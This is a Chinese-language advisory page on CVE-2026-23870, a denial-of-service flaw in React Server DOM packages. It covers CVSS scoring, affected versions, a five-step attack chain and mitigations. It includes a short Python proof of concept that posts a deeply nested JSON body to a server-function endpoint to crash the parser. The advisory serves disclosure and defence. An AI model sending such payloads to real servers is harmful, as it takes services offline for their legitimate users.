CVE-2026-23870 CVSS 7.5 高危

CVE-2026-23870 React Server组件拒绝服务漏洞

披露日期: 2026-05-06

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-23870

漏洞类型

拒绝服务

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack

漏洞概述

CVE-2026-23870是一个影响React Server DOM相关组件的高危拒绝服务漏洞。攻击者无需身份认证即可向服务器功能端点发送特制的HTTP请求，触发服务器崩溃、内存溢出或CPU资源耗尽，从而导致服务不可用。该漏洞影响多个特定版本的React Server DOM组件包。

技术细节

该漏洞源于React Server DOM（用于React Server Components通信的库）在处理服务器功能调用时的输入验证或资源管理缺陷。当服务器端接收到特制的HTTP请求并尝试解析或渲染数据时，特定组件（如Webpack、Parcel或Turbopack集成包）未能正确限制递归深度或内存分配。攻击者可以构造恶意的请求负载，例如极深的嵌套结构或超大的数据流，使得解析器进入无限循环或消耗过多的堆内存。由于攻击向量为网络（AV:N）且无需权限（PR:N），远程攻击者可轻易利用此漏洞，导致宿主应用程序进程崩溃（OOM Exception）或CPU利用率飙升至100%，造成拒绝服务。

攻击链分析

STEP 1

侦察

识别目标应用是否使用受影响的React Server DOM包版本，并定位服务器功能（Server Functions）的HTTP端点。

STEP 2

构造载荷

攻击者编写脚本生成特制的HTTP请求体，通常包含极深嵌套的JSON结构或超大数据块，旨在消耗解析资源。

STEP 3

发送请求

将恶意构造的HTTP POST请求发送至目标服务器的功能接口，无需任何用户交互或身份认证。

STEP 4

资源耗尽

服务器端尝试解析恶意载荷，导致CPU占用率飙升或触发内存溢出异常（OOM），进而导致服务进程崩溃或挂起。

STEP 5

拒绝服务

合法用户无法访问服务，达成拒绝服务攻击目的。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests
import json

# Target URL of a React Server Function endpoint
target_url = "http://target-app/_server/action"

# Craft a deep nested payload to trigger stack overflow or high CPU usage
def create_deep_nested_json(depth=10000):
    result = {}
    current = result
    for i in range(depth):
        current['next'] = {}
        current = current['next']
    return result

payload = create_deep_nested_json()

try:
    # Sending the malicious payload
    response = requests.post(target_url, json=payload)
    print(f"Status Code: {response.status_code}")
except Exception as e:
    print(f"Request failed or server crashed: {e}")

影响范围

react-server-dom-webpack 19.0.0 - 19.0.5

react-server-dom-webpack 19.1.0 - 19.1.6

react-server-dom-webpack 19.2.0 - 19.2.5

react-server-dom-parcel 19.0.0 - 19.0.5

react-server-dom-parcel 19.1.0 - 19.1.6

react-server-dom-parcel 19.2.0 - 19.2.5

react-server-dom-turbopack 19.0.0 - 19.0.5

react-server-dom-turbopack 19.1.0 - 19.1.6

react-server-dom-turbopack 19.2.0 - 19.2.5

防御指南

临时缓解措施

如果无法立即升级，建议在应用前端配置Web应用防火墙（WAF），拦截包含异常深度嵌套结构的JSON请求。同时，限制服务器进程的内存和CPU使用上限，防止崩溃影响宿主机系统。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表